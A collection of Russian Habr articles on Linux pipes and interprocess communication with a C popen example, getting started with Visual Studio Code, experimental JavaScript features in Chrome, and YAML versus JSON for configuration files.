Один умный человек понял, что компьютер, пока он чего-то ждёт, мог бы работать над чем-нибудь другим. То есть — компьютеру можно «скармливать» сразу несколько программ. Когда программа A ожидает завершения некоей операции ввода/вывода, программа B может сделать что-то полезное. Конечно, если программа A не выполняет операций ввода/вывода, тогда программа B будет страдать от нехватки системных ресурсов. Поэтому была изобретена вытесняющая многозадачность. При таком подходе программа A работает либо до тех пор, пока ей есть чем заниматься, либо до того момента, когда окончится заранее установленный для неё временной лимит. Если истекло время — программу A принудительно ненадолго «усыпляют», что даёт возможность поработать программе B (и другим программам). Именно так функционируют практически все современные компьютеры, не относящиеся к компактным встраиваемым системам.
Но современные компьютеры отличаются от предшественников. Сегодня большинство компьютеров имеют многоядерные процессоры, они оснащены специальными механизмами для быстрого переключения между задачами. Настольный компьютер, на котором я это пишу, оснащён 12 процессорными ядрами, каждое из которых может работать как два отдельных процессора. В результате мой компьютер способен одномоментно выполнять до 12 программ. А ещё 12 программ могут очень быстро заменить любую из 12 активных программ. Конечно, операционная система способна очень быстро менять программы, составляющие этот набор из 24 программ. Поэтому на компьютере можно запустить гораздо больше 24 программ. Но переключение между 12 основными и 12 «резервными» программами выполняется очень и очень быстро.
Сейчас как никогда актуально написание программных решений, состоящих из нескольких программ. У такого подхода есть множество сильных сторон. Например, однажды мне попалась программа, которая выполняет множество вычислений, а потом тратит часы на то, чтобы вывести результаты. Я запустил печать в виде отдельных заданий, рассчитанных на разные принтеры, и смог сэкономить примерно 80% рабочего времени. А это, когда я начинал работу, были примерно сутки. Но даже если не говорить о производительности, изоляция процессов напоминает бескомпромиссную инкапсуляцию. То, что делается в программе A, не должно влиять на программу B. Мы изолируем код в модулях и объектах, но можем пойти дальше и изолировать его в процессах.
Обоюдоострый меч
----------------
Но у изоляции кода в процессах тоже есть проблема. Она, полагаю, актуальна для тех случаев, когда две программы взаимодействуют, когда им нужно каким-то образом друг на друга влиять. Для организации «диалога» таких программ можно просто воспользоваться файлом, но такой подход печально известен своей неэффективностью. В результате операционные системы, вроде Linux, дают нам IPC — механизм межпроцессного взаимодействия. Так же, как некоторые части объекта можно сделать общедоступными, можно открыть доступ к чему-то, находящемуся внутри одной программы, другим программам.
Наиболее фундаментальный способ решения этой задачи заключается в использовании вызова `fork`. Когда создают форк процесса, новый процесс представляет собой полную копию родительского процесса. Программисты не всегда осознают этот факт, так как сразу после создания форка часто вызывают что-то вроде `exec` для загрузки новой программы, или используют некую вспомогательную систему, обёртку, которая сама вызывает и `fork`, и `exec`. Но каждый раз, когда выполняют в командной строке, скажем, команду `ls`, программа `ls` начинает жизнь как полная копия командной оболочки. А эта копия загружает исполняемый файл `ls` и запускает его.
А что если этого не происходит? Именно так работала моя система для создания отчётов. Серьёзные вычисления, которые занимали часы на компьютере Sequent с множеством процессоров, выполнялись в одном процессе. Когда приходило время вывода данных на печать, я делал форки множества подпроцессов. У каждого из них была полная копия данных, которые я впоследствии рассматривал как данные, предназначенные только для чтения, и которые я выводил на печать. Это — один из подходов к взаимодействию между процессами.
Ещё один подходов к межпроцессному взаимодействию заключается в использовании конвейеров. Взглянем на следующую конструкцию:
```
cat data.txt | sort | more
```
Здесь создают три процесса. Один берёт данные из текстового файла. Он отправляет эти данные в конвейер, подключённый к программе `sort`. А она, в свою очередь, выводит их в другой конвейер, подключённый к программе `more`.
Одностороннее движение
----------------------
Конвейеры, вроде тех, о которых мы только что говорили — это нечто вроде дорог с односторонним движением. Но можно создавать именованные конвейеры, поддерживающие двусторонние коммуникации. Всё это можно сделать в командной оболочке — команда `mknod` позволяет создавать именованные конвейеры. Но оба вида конвейеров доступны и из программного кода. Так, для создания обычных конвейеров можно прибегнуть к функции `popen`, а для создания именованных — к вызову API `mknod`.
Есть и другие методы, позволяющие организовать межпроцессный диалог:
* Очереди сообщений — организация асинхронного обмена сообщениями между процессами.
* Семафоры — совместное использования счётчика несколькими программами.
* Разделяемая память — процессы совместно используют один и тот же блок памяти.
* Сигналы — один процесс может отправлять другим процессам сигналы, что может быть использовано как разновидность механизма коммуникации процессов.
Возможно, у вас возникнет вопрос о том, зачем тут может понадобиться что-то, помимо разделяемой памяти. Честно говоря, для организации межпроцессного взаимодействия вполне достаточно одной только разделяемой памяти. Но во многих случаях проще воспользоваться чем-то другим. Проблема заключается в том, что нам нужен какой-то механизм обеспечения атомарности операций, а нечто вроде семафоров и даёт нам такой механизм. Представьте, что в разделяемой памяти имеется переменная `busy`. Если `busy` содержит значение `1` — тогда мы знаем о том, что не должны менять данные в разделяемой памяти, так как этими данными пользуется кто-то другой.
Можно написать такой код:
```
while (busy) ; // ждём busy==0
busy=1;
do_stuff();
busy=0;
```
Смотрится всё это очень хорошо. Правда? Нет, совсем не хорошо. Этот цикл `while` где-то в недрах процессора выглядит примерно так:
```
while_loop2384: TST busy ; установить флаги для busy
JNZ while_loop2384 ; если нет флага нуля, осуществить переход
MOV busy,#1 ; поместить 1 в busy
```
Почти всегда эта конструкция будет работать совершенно нормально. Почти всегда. А что произойдёт, если будет выполнена инструкция `TST`, а затем моя программа уйдёт в «сон», а другая программа сможет выполнить тот же код? Или — что если другой процессор выполняет тот же самый код в то же самое время? Такое может случиться. В результате обе программы увидят, что `busy` равно нулю. Обе установят `busy` в `1` и продолжат работу. Это недопустимо.
Семафоры справляются с подобными ситуациями благодаря механизму атомарного доступа к переменным, который позволяет программе выполнять операции проверки значений и их установки в одном месте. Семафоры, конечно, тоже не панацея. Например — что если процесс A ожидает, когда процесс B освободит семафор, а сам процесс B ожидает, что процесс A освободит ещё один семафор. Но такая ситуация — взаимоблокировка процессов — это тема для отдельного материала, равно как и другие таинственные «грабли» вроде инверсии приоритетов.
Путешествие по конвейеру
------------------------
Вот одна задача, несколько искусственная. Если выполнить в Linux команду `df` — можно получить список всего, что смонтировано в системе, а так же — увидеть характеристики всего этого. Но в этом списке будут и такие сущности, как корневая директория и файл подкачки. Что если надо прочитать сведения только о петлевых устройствах и вывести данные в том же формате, в котором они обычно выводятся? Конечно, есть множество способов решения этой задачи. Можно прочитать сведения о петлевых файлах из `/etc/mtab`, а потом прочитать другие данные из `/sys` или из каких-то других мест, где они могут быть. Похоже, для решения этой задачи надо будет немало потрудиться.
Конечно, обычная команда `df` даёт нам почти то, что нужно. На самом деле, можно просто воспользоваться конвейером в командной оболочке и получить желаемое:
```
df | grep '^/dev/loop'
```
Подход это рабочий, но выходные данные окажутся оформленными не так, как хотелось бы. В моей системе, например, первым номером идёт `/dev/loop3`, а последним — `/dev/loop0`. И нет внятного объяснения тому, почему `4` размещается между `8` и `14`. В результате — мне нужно всё это отсортировать. Но передача этих данных команде `sort`, опять же, с помощью конвейера, особой пользы не приносит, так как `sort` сортирует строки в алфавитном порядке. Тут можно подумать о команде `sort` с флагом `-n`. Но и это нам не поможет, так как число находится в конце строки. Конечно, можно применить какую-нибудь странную конструкцию с `cut` или `sed`, что, возможно, позволит всё это исправить, но при таком подходе задача неоправданно усложняется. Предлагаю просто взять и написать код на C.
На первом шаге работы мы просто сделаем так, чтобы команда `df` вывела бы всё, что она выводит, после чего перехватим эти данные. Так как мы хотим обрабатывать выходные данные — нам надо получить их из конвейера. Организовать это можно с помощью функции `popen` (ниже мы доработаем этот код):
```
#include
int main(int argc, char \* argv[]) {
// Этот фрагмент кода читает выходные данные DF
FILE \* result = popen("df", "r"), \* sort;
int i;
if (!result) {
perror("Can't open df");
return 1;
}
while (!feof(result)) {
int c = getc(result);
if (c != EOF) putchar(c);
}
pclose(result);
return 0;
}
```
Половина решения
----------------
Теперь половина задачи решена. Если у нас есть символы — можно заниматься их сортировкой и фильтрацией, но… притормозим немного. Я — человек ленивый. Поэтому давайте прибегнем к помощи командной оболочки. Вот мой план. Я знаю, что мне нужны лишь строки, начинающиеся с `/dev/loop`. Поэтому давайте действовать так:
* Считываем всю строку за раз.
* Если это не /dev/loop-строка — отбрасываем её.
* Если это — /dev/loop-строка — сохраняем её в массив, но отсекаем от неё `/dev/loop`.
* После того, как в нашем распоряжении оказываются все строки — просим командную оболочку их отсортировать, а после сортировки возвращаем строкам `/dev/loop`.
Это достаточно просто:
```
#include
#include
char buffer[4097];
char \* lines[512];
unsigned int maxline = 0;
int main(int argc, char \* argv[]) {
// Этот фрагмент кода читает выходные данные DF в массив lines (с некоторыми модификациями)
FILE \* result = popen("df", "r"), \* sort;
int i;
if (!result) {
perror("Can't open df");
return 1;
}
while (!feof(result)) {
// получаем строку от df
char \* rc = fgets(buffer, sizeof(buffer), result);
// сохраняем только строки, начинающиеся с /dev/loop
if (rc && !strncmp(buffer, "/dev/loop", 9)) {
// нет места
if (maxline >= sizeof(lines) / sizeof(char \* )) {
fprintf(stderr, "Too many loops\n");
return 2;
}
lines[maxline++] = strdup(buffer + 9); // копируем только число и оставшиеся элементы строки
// тут надо проверить lines[maxline[1]] на null
}
}
pclose(result);
// Теперь мы собираемся вывести sort
// Команда sed работает с /dev/loop в начале строки после сортировки
sort = popen("sort -n | sed 's/^/\\/dev\\/loop/'", "w");
if (!sort) {
perror("Can't open sort");
return 3;
}
// отправляем каждую из строк в конвейер (учитывайте, что порядок тут, на самом деле, не особенно важен ;-)
for (i = 0; i < maxline; i++)
fputs(lines[i], sort);
pclose(sort);
return 0;
}
```
Наша задача решена. Конечно, сделать это можно и исключительно средствами командной оболочки. Но будет это гораздо сложнее, если только не прибегнуть к другому языку программирования, вроде `awk`. А это уже будет не совсем то же самое, что использовать исключительно оболочку. Кроме того, эта программа способна послужить вам полезным примером, который можно переделать для решения великого множества схожих задач, решить которые другими способами может быть очень сложно.
Возможно, у вас возникнет вопрос о том, можно ли просто запустить что-то вроде команды `sort`, одновременно и передавая ей входные данные, и читая её выходные данные. Сделать это можно, но не при помощи `popen`. Вызов `popen` — это всего лишь удобная обёртка вокруг `pipe` и `fork`. Если вам нужно и передавать программе данные, и читать результаты её работы, понадобится напрямую (дважды) воспользоваться вызовом `pipe`, а потом запустить `sort` или что-то в этом роде. Возможно, я ещё об этом напишу.
А если говорить о межпроцессных взаимодействиях, то и о них можно ещё много всего написать. Но пока попробуйте поработать с конвейерами, используя `popen`. В скриптах командной оболочки тоже бывают [критически важные фрагменты](https://hackaday.com/2020/08/18/linux-fu-one-at-a-time-please-critical-sections-in-bash-scripts/). А если вы планируете писать [скрипты на C](https://hackaday.com/2019/09/17/linux-fu-shell-scripts-in-c-c-and-others/) — то знайте, что и это тоже возможно.
Пишете ли вы программы, автоматизирующие сложные Linux-задачи?
[](http://ruvds.com/rurub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_conten%0At=kung-fu_stilya_linux:_prostye_konvejery)
|
https://habr.com/ru/post/656567/
| null |
ru
| null |
# Visual Studio Code – редактор кода для Linux, OS X и Windows
За свою долгую историю существования Microsoft выпустил немало инструментов разработки. Но так уж сложилось что на слуху у всех только лишь Visual Studio – большая и мощная IDE «комбайн» предназначенная для всего и вся. Развивается этот продукт уже более двух десятков лет и вобрал в себя самые разные функции. Многим этот инструментарий нравится и иногда даже задавали вопрос – будет ли перенесен Visual Studio на другие платформы. На что чаще всего получали ответ нет. Наверное, понятно почему, в целом такое портирование будет дорогим и неоправданно сложным, уж очень много всего в этой IDE завязано на Windows.
И вот, этой весной для многих неожиданностью было то что Microsoft представил новый продукт под названием Visual Studio Code, да еще и работающий сразу на трех платформах, Linux, OS X и Windows. Не замахиваясь на все функции полноценной IDE, внутри Microsoft решили переосмыслить подход, по которому строится основной инструментарий программиста и начали с самого главного – редактора кода. Visual Studio Code это именно редактор, но при этом обладающий функциями IDE, полагающийся на расширения.
Уже сейчас вы можете использовать Visual Studio Code для создания веб-проектов ASP.NET 5 или Node.js (в чем-то даже удобнее чем в «взрослой» Visual Studio), использовать различные языки, такие как JavaScript, TypeScript, C#, работать с пакетными менеджерами npm, скаффолдингом yeoman и даже осуществлять отладку. Плюсом ко всему будет отличный «интеллисенс», поддержка сниппетов кода, рефакторинг, навигация, многооконность, поддержка git и многое другое.
#### Установка Visual Studio Code
##### Mac OS X
1. [Загрузите Visual Studio Code для Mac OS X](http://go.microsoft.com/fwlink/?LinkID=534106)
2. Откройте двойным щелчком архив VSCode-osx.zip
3. Перетащите Visual Studio Code.app в папку Applications
4. Добавьте Visual Studio Code в Dock выбрав в Options “Keep in Dock”
> **Совет:** если вы хотите чтобы Visual Studio Code стартовал из терминала добавьте в ~/.bash\_profile
>
>
> ```
> code () { VSCODE_CWD="$PWD" open -n -b "com.microsoft.VSCode" --args $* ;}
>
> ```
>
>
>
##### Linux
1. [Загрузите Visual Studio Code для Linux](http://go.microsoft.com/fwlink/?LinkID=534108)
2. Создайте новую папку и распакуйте туда содержимое архива VSCode-linux-x64.zip
3. Двойным щелчком запустите Code
> **Совет:** если вы хотите чтобы Visual Studio Code стартовал из терминала добавьте на него ссылку
>
>
> ```
> sudo ln -s /path/to/vscode/Code /usr/local/bin/code
>
> ```
>
>
>
##### Windows
1. [Загрузите Visual Studio Code для Windows](http://go.microsoft.com/fwlink/?LinkID=534107)
2. Щелкните двойным щелчком по загруженному файлу VSCodeSetup.exe для того чтобы запустить установку
> **Совет:** если вы хотите чтобы Visual Studio Code стартовал из терминала сделайте logon/logoff, соответствующие пути к файлу прописываются в переменной PATH самим установщиком
>
>
#### Дополнительные инструменты
Без инструментария Visual Studio Code годится разве что для простого редактирования файлов, для полноценной работы понадобится сопутствующий инструментарий, который зависит от ваших целей и задач:
* [ASP.NET 5](https://github.com/aspnet/home) — гибкий фреймворк создания современных веб-приложений
* [NodeJS (включает NPM)](http://nodejs.org/) – платформа для создания масштабируемых сетевых приложений
* [git](http://git-scm.com/download) – система контроля версий
* [Yeoman](http://yeoman.io/) – инструмент «скаффолдинга» примерно тоже самое что и File | New Project в VS
* [generator-aspnet](https://www.npmjs.com/package/generator-aspnet) — yeoman генератор для ASP.NET 5 приложений, выполните npm install -g generator-aspnet для установки
* [hottowel](https://github.com/johnpapa/generator-hottowel) — yeoman генератор для быстрого создания AngularJS приложений, выполните npm install -g generator-hottowel для установки
* [Express](http://expressjs.com/) – фреймворк для Node приложений, использует «движок» шаблонов Jade
* [gulp](http://gulpjs.com/) – инструментарий создания «тасков» для выполнения сопутствующих сборке проекта задач
* [mocha](http://mochajs.org/) – фреймворк создания модульных тестов на JavaScript/Node
* [bower](http://bower.io/) – клиентский пакетный менеджер
* [TypeScript](http://typescriptlang.org/) – язык TypeScript, добавляет модульность, классы и прочие приятные вещи в ваш JavaScript код
* [TypeScript definition manager](http://definitelytyped.org/tsd/) – определения TypeScript для популярных JavaScript библиотек, включают поддержку IntelliSense вVS Code
#### Начало работы
Чтобы попробовать в деле VS Code, проще всего создать веб-проект Node. Для этого установите Node на свой компьютер (ссылка выше) и выполните следующие команды:
```
npm install -g express
npm install -g express-generator
express myExpressApp
cd myExpressApp
npm install
```
В текущем каталоге будет создан проект, который можно будет открыть в Visual Studio Code. Для того чтобы проверить, что все работает как надо, выполните команду npm start и запустите браузер по адресу [http://localhost:3000](http://localhost:3000/).
После всех этих действий просто запустите VS Code в папке с проектом
```
Code .
```
Если вы хотите попробовать возможности VS Code на примере ASP.NET 5 то можете воспользоваться инструкцией по адресу <https://code.visualstudio.com/Docs/ASPnet5>.
#### Базовые возможности Visual Studio Code
Как и многие редакторы кода, VS Code использует распространенную схему расположения основных элементов – слева обозреватель файлов, справа редактор кода. В дополнение к этому есть специфичные элементы, обеспечивающие навигацию и выполнение специальных команд.
##### Файлы, папки, и проекты
VS Code работает с файлами и папками в которых находятся проекты. В простейшем случае вы можете открыть файл на редактирование просто выполнив команду ./code index.html. Более интересным случаем является открытие папки. VS Code сам определяет тип проекта в зависимости от содержимого папки. Например, если в папке находятся файлы package.json, project.json, tsconfig.json или файлы .sln и .proj для Visual Studio ASP.NET 5.0 то VS Code включает много новых функций которые обеспечивают IntelliSence, подсказки, навигацию по коду, выполнение команд и многое другое.
##### Расположение основных элементов
VS Code обладает интуитивно понятной и простой схемой расположения основных элементов. Интерфейс разделен на четыре основных блока, это:
1. **Редактор**, основной блок в котором осуществляется изменение содержимого открытого файла
2. **Сайдбар**, с помощью которого можно увидеть различные представления файлов проекта
3. **Статусбар**, показывающий текущий статус различных операций
4. **Вьюбар**, позволяющий переключаться между режимами сайдбара и индицирующий с помощью иконок различную информацию, например количество исходящих git изменений
Каждый раз когда вы запускаете VS Code будет загружено последнее состояние основных элементов.
Редактор VS Code может открыть для редактирования на экране до трех файлов одновременно, располагая их друг за другом справа. Открыть дополнительные редакторы можно различными способами:
Ctrl (Mac: Cmd) и кликнуть на файле в обозревателе
Ctrl+\ для того чтобы разделить активный текущий редактор на два
Open to the Side в контекстном меню файла в обозревателе
> **Совет:** Вы можете переместить сайдбар слева на право с помощью меню View, Move Sidebar а так же включить его видимость с помощью клавиатуры (Ctrl+B).
>
>
##### Палитра команд
Самым главным инструментом взаимодействия с редактором в VS Code является палитра команд. Вызвать ее можно через клавиатуру, нажав на комбинацию **Ctrl****+****Shift****+****P**. Множество команд перечисленных в палитре тоже привязаны к клавишам.
Введите в строку команды знак вопроса? и тогда вы получите перечень команд которые работают в текущем контексте:
Некоторые часто используемые команды:
* Ctrl+P навигация к файлу или символу по набранной строке
* Ctrl+Tab циклично открывает последние отредактированные файлы
* Ctrl+Shift+P выводит список команд редактора
* Ctrl+Shift+O навигация к некоторому символу в файле
* Ctrl+G навигация к строке в файле
* Ctrl+Tab выводит список всех файлов которые были открыты от момента запуска VS Code, удерживайте Ctrl и нажимайте Tab до тех пор пока не выберите нужный файл
* Alt+Left и Alt+Right навигация по ранее редактированным файлам и строкам назад и вперед
##### Обозреватель
Обозреватель предназначен для открытия и управления файлами находящимися в папке вашего проекта. Вы можете осуществлять множество привычных операций по созданию, изменению имени, удалению файлов и папок, и их перемещению.
Файлы, которые вы редактировали или открывали двойным щелчком в обозревателе, помещаются в верхнюю часть обозревателя и получают статус Working files:
##### Автосохранение
По умолчанию, VS Code работает в режиме явного сохранения, которое вы можете выполнить, нажав на комбинацию Ctrl+S. Этот режим совместим с большинством инструментов следящих за статусом файлов (например bower). Можно включить и режим автоматического сохранения (Auto Save), нажав Ctrl+Shift+P и набрать auto.
##### Поиск
Нажимите Ctrl+Shift+F и введите интересующую вас фразу. Результаты поиска будут сгруппированы, в дополнение вы можете развернуть узел группы чтобы посмотреть множественные вхождения. В строке поиска поддерживаются регулярные выражения.
Более детальный поиск может быть осуществлен с помощью команды Ctrl+Shift+J. Введите в дополнительные поля критерии поиска.
#### Возможности редактора
##### Подсказки IntelliSence
Где бы вы не находились в вашем коде, нажав на **Ctrl****+****Space** будет выведено окно подсказки IntelliSence. При наборе кода редактор будет показывать его автоматически.
##### Подсказки параметров
Для перегруженных функций вы можете листать варианты реализации используя клавиши **Up** и **Down**.
##### Сниппеты кода
VS Code поддерживает [аббревиатуры Emmet](http://docs.emmet.io/). Вы можете использовать их при редактировании файлов HTML, Razor, CSS, Less, Sass, XML или Jade. Основной перечень аббревиатур можно посмотреть по адресу <http://docs.emmet.io/cheat-sheet/>.
##### Переход к определению символа
Нажав на **F****12** вы перейдете к определению символа. Если нажать Ctrl и провести курсором по символу вы увидите определение в дополнительном окне.
##### Переход к методу или переменной
Нажав на **Ctrl****+****Shift****+****O** вы откроете перечень методов в файле, в дополнение вы можете нажать двоеточие: и методы будут сгруппированы по типу. Нажав на Up и Down выберите нужный метод и курсор в редакторе перейдет на строку где находится выбранный метод.
Для языков C# и TypeScript вы можете использовать комбинацию Ctrl+T и набрать нужный метод или переменную, при этом будет осуществлен поиск по всем файлам в проекте.
##### Просмотр определения символа
Если вам необходимо быстро посмотреть на определение символа или на референсы, для того чтобы вспомнить детали реализации или использования, можно использовать поиск или переход к определению символов, что не всегда удобно так как переключает контекст.
В этом случае можно воспользоваться командами Reference Search (**Shift****+****F****12**) или Peek Definition (**Alt****+****F****12**) и результаты поиска будут отображаться в инлайн окошке:
##### Переименование методов и переменных
Нажав **F****2** вы можете изменить имя метода или переменной. Стандартная операция рефакторинга, но пока она поддерживается только для языков C# и TypeScript.
#### Отладка
В VS Code входит отладчик. Его возможности пока ограничены, и работают не на всех платформах. Тем не менее, вы можете использовать отладчик для языков JavaScript и TypeScript на всех платформах, а для C# и F# на платформах OS X и Linux.
Для того чтобы запустить отладку проекта Node, достаточно нажать на иконку бага в Activity Bar. После генерации файла launch.json запустится отладчик. Для проектов Node VS Code автоматически определяет каталог ./bin/www.
Сохраните конфигурационный файл и выберите пункт Launch в меню, установите точку останова и нажмите **F****5** для старта отладки.
Отладчик позволяет просматривать значения текущих переменных:
Более подробно о возможностях отладчика можно почитать по адресу <https://code.visualstudio.com/Docs/debugging> в том числе о том как сконфигурировать Mono для отладки C# и F# кода на платформах OS X и Linux.
#### Контроль версий
VS Code интегрирован с системой контроля версий git, и поддерживает большинство команд. В версии 0.5 был зафиксирован ряд ошибок связанных с интеграцией. Поддерживаются локальные и удаленные репозитарии.
> **Совет:** установите credential helper для того чтобы не получать постоянные запросы на ввод данных учетной записи <https://help.github.com/articles/caching-your-github-password-in-git/>
>
>
##### Конфликты
VS Code позволяет осуществлять слияния и разрешение конфликтов при работе с системой контроля версий:
#### Полезные ссылки
* Сайт Visual Studio Code [http://code.visualstudio.com](http://code.visualstudio.com/)
* Блог команды разработчиков VS Code <http://blogs.msdn.com/b/vscode/>
* Твиттер <https://twitter.com/code>
* Перечень команд, и рекомендации по настройке VS Code <https://code.visualstudio.com/Docs/customization>
* Блог John Papa с несколькими статьями о VS Code <http://www.johnpapa.net/>
* Запись доклада о Visual Studio Code с конференции //Build <https://channel9.msdn.com/Events/Build/2015/3-680>
* Запросы по функциям VS Code на сайте User Voice <https://visualstudio.uservoice.com/forums/293070-visual-studio-code>
|
https://habr.com/ru/post/262523/
| null |
ru
| null |
# В Chrome (dev) реализованы будущие функции JavaScript
Комитет ECMA сейчас работает над разработкой следующей версии JavaScript, известной под кодовым названием [Harmony](https://mail.mozilla.org/pipermail/es-discuss/2008-August/006837.html). Он должен быть закончен к концу следующего года и станет самым большим обновлением за всю историю языка. Разработчики Chrome и V8 решили уже сейчас реализовать некоторые будущие функции JavaScript в браузере Chrome ([версия для разработчиков](http://dev.chromium.org/getting-involved/dev-channel)).
Чтобы активировать новые функции, нужно в последнем релизе с dev-канала набрать `chrome://flags` и включить флаг *Experimental JavaScript features*.
* [Лексическая область видимости](http://wiki.ecmascript.org/doku.php?id=harmony:block_scoped_bindings). Теперь `let` — это новый `var`. Стандартные декларации `var` дополнены `let` и `const`. Обе являются правильными способами присвоения объектам значений, при которых область видимости распространяется в пределах блока, что устранит типичный источник ошибок и странного поведения. Объявление функций теперь официально возможно и в локальной области видимости, при этом допускается лексическая область видимости (лексическая область видимости возможна только в строгом режиме).
* [Коллекции](http://wiki.ecmascript.org/doku.php?id=harmony:simple_maps_and_sets). Эффективные множества и ассоциативные массивы. Любой элемент можно использовать как ключ или значение, включая объекты.
* [Weak maps](http://wiki.ecmascript.org/doku.php?id=harmony:weak_maps). Особый вид ассоциативного массива, для которого сборщик мусора определяет, когда ключ больше не доступен, так что пару «ключ-значение» можно автоматически убрать из ассоциативного массива.
* [Прокси-объект](http://wiki.ecmascript.org/doku.php?id=harmony:proxies). Прокси симулирует объект или функцию JavaScript и позволяет настраивать практически любой аспект своего поведения. Разработчики считают, что это реально мощная вещь, которая выводит рефлексии (отражения) на новый уровень и может быть использована для различных [продвинутых абстракций и интерфейсов](http://wiki.ecmascript.org/doku.php?id=harmony:proxies#more_examples).
… и [многое другое](http://wiki.ecmascript.org/doku.php?id=harmony:proposals) появится позже.
via [The Chromium Blog](http://blog.chromium.org/2012/02/future-of-javascript-take-peek-today.html)
|
https://habr.com/ru/post/138047/
| null |
ru
| null |
# Yaml vs. Json — что круче?
Всем привет!
Сегодня поговорим об интересном (и таинственном для фронтов) формате YAML. Он считается одним из наиболее популярных форматов для файлов конфигураций.
Файлы с расширением .yaml или .yml вы можете встретить довольно часто, например .travis.yml (для Travis Build), .gitlab-ci.yml (для git lab CI) и др.
И тогда возникают резонные вопросы: что это за формат и чем он отличается от JSON-а?
Цель этой статьи — познакомить вас со структурой YAML, помочь понимать, читать и изменять YAML-файлы. Для тех, кто уже знаком с форматом — напомнить про некоторые его особенности. И сравнить YAML с JSON.
**Краткое содержание**
* [Цели создания](#goals)
* [YAML vs. JSON](#yaml)
* [Концепции, типы, синтаксис](#types)
+ [Отступы](#margins)
+ [Ключ/Значение](#key)
+ [Комментарии](#comments)
+ [Списки](#lists)
+ [Числа](#numbers)
+ [Строки](#string)
+ [Якорь (переменная или ссылка)](#link)
* [Итог](#finally)
Цели создания
-------------
Сообщество разработчиков устало от «зоопарка» различных форматов для конфигов, им хотелось упростить себе жизнь и прийти к единому понятному формату. И в 2001 году Кларк Эванс создал YAML 1.0.
Его основные цели:
1. быть понятным человеку;
2. поддерживать структуры данных, родные для языков программирования;
3. быть переносимым между языками программирования;
4. использовать цельную модель данных для поддержки обычного инструментария;
5. поддерживать [потоковую](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D1%82%D0%BE%D0%BA_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85) обработку;
6. быть выразительным и расширяемым;
7. быть лёгким в реализации и использовании.
В [официальной документации YAML](https://yaml.org/) можно увидеть такое определение:
*Рис.1. Определение из официальной документации*
Сейчас последняя версия — YAML 1.2, и она в основном используется как формат для файлов конфигурации [Ruby on Rails](https://ru.wikipedia.org/wiki/Ruby_on_Rails), [Dancer](https://ru.wikipedia.org/w/index.php?title=Dancer&action=edit&redlink=1), [Symfony](https://ru.wikipedia.org/wiki/Symfony), [GAE framework](https://ru.wikipedia.org/w/index.php?title=GAE_framework&action=edit&redlink=1), [Google App Engine](https://ru.wikipedia.org/wiki/Google_App_Engine) и [Dart](https://ru.wikipedia.org/wiki/Dart). Также YAML является основным языком описания классов, ресурсов и манифестов для пакетов приложений [OpenStack Murano Project](https://ru.wikipedia.org/wiki/Www.openstack.org) и [Swagger.io](https://ru.wikipedia.org/wiki/Swagger).
YAML vs. JSON
-------------
По сути YAML — это расширенная версия известного нам формата JSON.
Чтобы лучше разобраться в формате, давайте сначала рассмотрим пример JSON-конфига:
**tsconfig.json**
```
{
"compilerOptions": {
"module": "system",
"noImplicitAny": true,
"removeComments": true,
"preserveConstEnums": true,
"outFile": "../../built/local/tsc.js",
"sourceMap": false,
"types": ["node", "lodash", "express"]
},
"include": ["src/**/*"],
"exclude": ["node_modules", "**/*.spec.ts"]
}
```
Этот файл очень легко читается, мы можем быстро определить, что к чему, но … нужно знать, что у JSON-формата есть некоторые ограничения:
* нельзя создавать переменные;
* нельзя использовать внешние переменные (например, переменные окружения);
* нельзя переопределять значения.
Чтобы смягчить эти ограничения, можно заменить переменные с помощью создания JSON-файлов, а также использовать .eslintrc или .eslint.js. Но в других языках программирования это не вариант, поэтому YAML и стал так популярен.
Попробуем переписать наш пример в формате YAML. Пока рассмотрим только синтаксис, а остальные особенности [чуть позже](#types).
*\*Хабр не умеет подсвечивать YAML, так что пришлось разместить картинки*
Как вам? Мне на первый взгляд показалось, что очень похоже на Python, но с какими-то опечатками.
Рассмотрим синтаксис подробнее.
Концепции, типы, синтаксис
--------------------------
#### Отступы
В YAML для разделения информации очень важны отступы. Нужно помнить, что используются только пробелы, табы не допускаются.
При отсутствии отступа перед первым объявлением YAML поймет, что это корень (уровень 0) вашего файла.
Если вы привыкли использовать tab-ы вместо пробелов, то можно использовать какой-нибудь плагин в вашей IDE, чтобы заменить все пропуски на пробелы (например, [editorconfig](https://editorconfig.org/)).
#### Ключ/Значение
Как и в JSON/JS, в YAML есть синтаксис ключ/значение, и вы можете использовать его различными способами:
#### Комментарии
Чтобы написать комментарий, вы можете использовать #, а затем ваше сообщение.
Это круто, когда нужно задокументировать какое-то решение или сделать заметку в конфиге. К сожалению, мы не можем так сделать в JSON.
#### Списки
В YAML есть 2 способа написания списков:
* Синтаксис JSON: массив строк
Помните, что YAML — это расширенный JSON? Поэтому мы можем использовать его синтаксис
```
people: ['Anne', 'John', 'Max']
```
* Синтаксис дефиса
Наиболее распространенный и рекомендуемый
```
people:
- Anne
- John
- Max
```
#### Числа
Тут все стандартно: целые числа и числа с плавающей точкой.
#### Строки
Есть несколько способов объявить строку в YAML:
Если вы хотите использовать какой-нибудь специальный символ, например, \_ или @, то нужны будут кавычки.
Напомню, что в JSON у нас есть только один способ написания строк — двойные кавычки.
И главная фишка…
#### Якорь (переменная или ссылка)
Якорь — это механизм для создания переменных, на которые затем можно ссылаться.
Давайте представим, что вам нужно создать конфигурацию для вашего CI. Он будет иметь версию для production и development сред. Обе версии будут иметь почти одинаковые базовые настройки.
В JSON нам пришлось бы дублировать эти конфиги:
```
{
"production": {
"node_version": "13.0.0",
"os": "ubuntu",
"package_manager": "yarn",
"run": ["yarn install", "NODE_ENV=${ENVIRONMENT} yarn build"],
"env": {
"ENVIRONMENT": "production"
}
},
"development": {
"node_version": "13.0.0",
"os": "ubuntu",
"package_manager": "yarn",
"run": ["yarn install", "NODE_ENV=${ENVIRONMENT} yarn build"],
"env": {
"ENVIRONMENT": "development"
}
}
}
```
Копирование и вставка очень раздражают, особенно когда нужно что-то изменить во всех местах.
Якорь решает эту проблему. Для его создания используется символ якоря (&), а для вставки — алиас (\*).
Итог
----
*Рис.2. Отсылка к фильму «Матрица»*
Возможности YAML-а покоряют при его сравнении с JSON. Но если у вас довольно простой конфиг в пару-тройку строк, то нет смысла усложнять и использовать дополнительные возможности YAML, лучше выбрать JSON. А если же у вас довольно большой и витиеватый файл, то тут однозначно стоит рассмотреть YAML.
